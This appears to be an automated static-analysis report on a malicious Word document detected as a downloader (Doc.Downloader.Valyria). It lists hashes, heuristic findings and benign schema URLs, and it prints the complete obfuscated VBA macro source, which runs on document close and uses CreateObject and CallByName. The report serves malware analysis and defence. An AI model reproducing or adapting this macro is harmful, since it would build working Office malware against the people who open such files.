Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 886152de72f7988f…

MALICIOUS

Office (OOXML)

83.3 KB Created: 2021-01-29 10:46:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-02-09
MD5: e4bfdcb6b976a30210462ff3c6e02a02 SHA-1: b7549b91789528e3b5ff1fb36416a63c7ee5368a SHA-256: 886152de72f7988ffe406e82965c9bcb2e19e445e51d86ea29023fae41347c42
222 Risk Score

Heuristics 5

  • ClamAV: Doc.Downloader.Valyria-10033915-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-10033915-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set lh = CreateObject(UserForm1.ol & UserForm1.f1)
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
    Set h1 = CallByName(lh.Workbooks, UserForm1.xst & UserForm1.i5g, 1, UserForm2.ComboBox1, , , , UserForm1.we)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6932 bytes
SHA-256: e6891f2f24f5379a2ff5590898045c3582c93312e032cbabf9a207f613ec07d5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


Public gu, chf, em, beh, qs, lh, h9, qq, cl, j3r, cw, fi, i0, an, u0, qu

Sub Document_Close()

ib

End Sub

Sub ib()

On Error Resume Next

mh = UserForm2.ComboBox10

UserForm2.ComboBox1.ListIndex = 5

ic9 = UserForm2.ComboBox4

Set lh = CreateObject(UserForm1.ol & UserForm1.f1)

p5 = UserForm2.ComboBox8

lh.DisplayAlerts = False

oi = UserForm2.ComboBox7

ig = 1301

ot = 0

Err.Number = 0

While ig <> 0 And ot < 32

Set h1 = CallByName(lh.Workbooks, UserForm1.xst & UserForm1.i5g, 1, UserForm2.ComboBox1, , , , UserForm1.we)

ig = Err.Number

ot = ot + 16

Wend

If ig <> 0 Then

ErrHandler:

dq = CallByName(Application, UserForm1.eou & UserForm1.b2, 2)

If dq <> False Then

uel = UserForm2.ComboBox12

Set nr = CreateObject(UserForm1.vo7 & UserForm1.nz)

CallByName nr.Documents, UserForm1.xst & UserForm1.i5g, 1, ActiveDocument.FullName, , True

CallByName nr, UserForm1.a5 & UserForm1.fh, 1, Now + TimeSerial(0, 0, 2), UserForm1.js & UserForm1.pu & "ib"

Else

CallByName Application, UserForm1.a5 & UserForm1.fh, 1, Now + TimeSerial(0, 0, 17), UserForm1.js & UserForm1.pu & "ib"

x = UserForm2.ComboBox25

End If

ccx = UserForm2.ComboBox6

lh.Quit

Exit Sub

End If

Dim j6

Set j6 = lh.sheets(1)

pl = "'"

j8 = UserForm2.ComboBox4

qu = lh.sheets(5).Cells(1, 1)

If Len(qu) < 1 Then

If lh.ActiveWorkbook.Title <> "Google" Then

GoTo ErrHandler

Else

Exit Sub

End If

End If

kz = lh.sheets(1).Cells(94, 28).Value

d5 = lh.sheets(1).Cells(63, 17).Value

j3r = lh.sheets(1).Cells(8, 33).Value

rp = UserForm2.ComboBox23

cw = lh.sheets(2).Cells(63, 51).Value

qs = lh.sheets(2).Cells(80, 49).Value

iu = lh.sheets(2).Cells(30, 59).Value

bp = lh.sheets(1).Cells(60, 22).Value

hg = lh.sheets(3).Cells(118, 4).Value

aw = lh.sheets(2).Cells(141, 47).Value

pd = j6.Cells(55, 29).Value

i0 = lh.sheets(2).Cells(76, 48).Value

h9 = j6.Cells(14, 5).Value

cl = lh.sheets(3).Cells(1, 4).Value

l0 = lh.sheets(3).Cells(131, 14).Value

i7 = lh.sheets(2).Cells(5, 27).Value

fi = lh.sheets(1).Cells(124, 10).Value

v = j6.Cells(98, 50).Value

i60 = lh.sheets(2).Cells(143, 55).Value

gu = lh.sheets(3).Cells(97, 25).Value

og = UserForm2.ComboBox22

ix = lh.sheets(3).Cells(42, 52).Value

ma = j6.Cells(130, 26).Value

qq = lh.sheets(3).Cells(22, 10).Value

chf = lh.sheets(3).Cells(138, 35).Value

n3 = lh.sheets(3).Cells(86, 26).Value

g3 = lh.sheets(2).Cells(63, 33).Value

u0 = ""

Set Sh1 = lh.sheets(4)

jn = 1

kr = True

While kr

gg = Sh1.Cells(jn, 1).Value

If Len(gg) < 1 Then

kr = False

Else

u0 = u0 & gg

End If

jn = jn + 1

Wend

hzs = UserForm2.ComboBox28

da = CallByName(lh, pd, 2)

UserForm1.eb.Value = bp & da & i60

UserForm1.rq7.Value = d5

CallByName CreateObject(g3), ma, 1, UserForm1.eb, v, UserForm1.rq7

Set hm = CreateObject(kz)

Set p8n = CallByName(hm, iu, 2)

Set ec = CallByName(p8n, n3, 1)

Set cl = CallByName(hm, cl, 2)

Set beh = hm

UserForm5.ComboBox1 = "db"

Set gu = CallByName(an, gu, 2)

qq = CallByName(gu, qq, 2)

c9 = UserForm2.ComboBox18

UserForm1.ln.Value = ix & hg

UserForm3.ComboBox1 = aw

df = UserForm2.ComboBox5

UserForm1.ln.Value = l0

UserForm4.ComboBox1 = UserForm3.ComboBox1

UserForm3.ComboBox1 = qq

hm = h8

aq = UserForm2.ComboBox19

fs = UserForm2.ComboBox6

h1 = rj

j6 = ga

p8n = lt

ec = h7

ei = UserForm2.ComboBox17

cl = a8

j3r = uk

cw = arv

an = ui

i6d = UserForm2.ComboBox13

gu = wx

beh = q8

DoEvents

rq = UserForm2.ComboBox15

CallByName lh, i7, 1

lh = cc

ez = UserForm2.ComboBox10

End Sub

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{FE018D5E-E106-4C5D-8CEC-D377DF952CCC}{695507DF-F96B-4FCE-AD33-626CDEFE21A8}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "UserForm2"
Attribute VB_Base = "0{BDDACF98-1F19-4A76-9E4C-DB6F3E96BC81}{717BA4CD-1167-4522-A54F-D94B22B74BBD}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub UserForm_Initialize()
 
 

 kt = UserForm2.Controls.Count - 1
 
 
 
 

 k5 = ""
 For jf = 1 To kt Step 2
 k5 = k5 & UserForm2.Controls.Item(jf)
 Next

 ComboBox1.AddItem "f8"
 ComboBox1.AddItem "zg"
 ComboBox1.AddItem "ei"

f8 = UserForm2.ComboBox20

 ComboBox1.AddItem "ed"
 ComboBox1.AddItem "i3"
 ComboBox1.AddItem k5
 ComboBox1.AddItem "gz"
 
 

mk = UserForm2.ComboBox21

 
 
 
 
 
End Sub


Attribute VB_Name = "UserForm3"
Attribute VB_Base = "0{6FCB30CA-176B-4EDE-B4CF-9BA7B3314898}{01654AFE-E6FE-4B89-A6B8-2FBCB59E3CF5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub UserForm_Initialize()

a0 = UserForm2.ComboBox23

 CallByName ActiveDocument.gu, ActiveDocument.h9, VbMethod, 1, ActiveDocument.qq
 CallByName ActiveDocument.gu, ActiveDocument.chf, VbMethod, UserForm1.ln.Value
End Sub

 

Attribute VB_Name = "UserForm4"
Attribute VB_Base = "0{2DA9F23F-090D-4DBC-8CF3-82D68656BAC7}{73C0E8C0-517B-407A-A6EE-A69C4F3DA911}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub UserForm_Initialize()
 CallByName ActiveDocument.beh, ActiveDocument.qs, VbMethod, UserForm1.ln.Value, ActiveDocument.u0, ActiveDocument.qu
End Sub

 

Attribute VB_Name = "UserForm5"
Attribute VB_Base = "0{4F2AE0FB-4684-4757-9D8F-09A8738D73FC}{C4013161-590C-4FD7-9520-C2A87AB17930}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub UserForm_Initialize()
 Set ActiveDocument.j3r = CallByName(ActiveDocument.cl, ActiveDocument.j3r, VbGet)
 Set ActiveDocument.cw = CallByName(ActiveDocument.j3r, ActiveDocument.cw, VbGet)
 Set ActiveDocument.an = CallByName(ActiveDocument.cw, ActiveDocument.fi, VbMethod, ActiveDocument.i0)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 50688 bytes
SHA-256: 75ab29d45f7b9ade42a93592eb726da6292b0102f2b5a79c229cac732c2e5abf
Detection
ClamAV: Doc.Downloader.Valyria-10033915-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.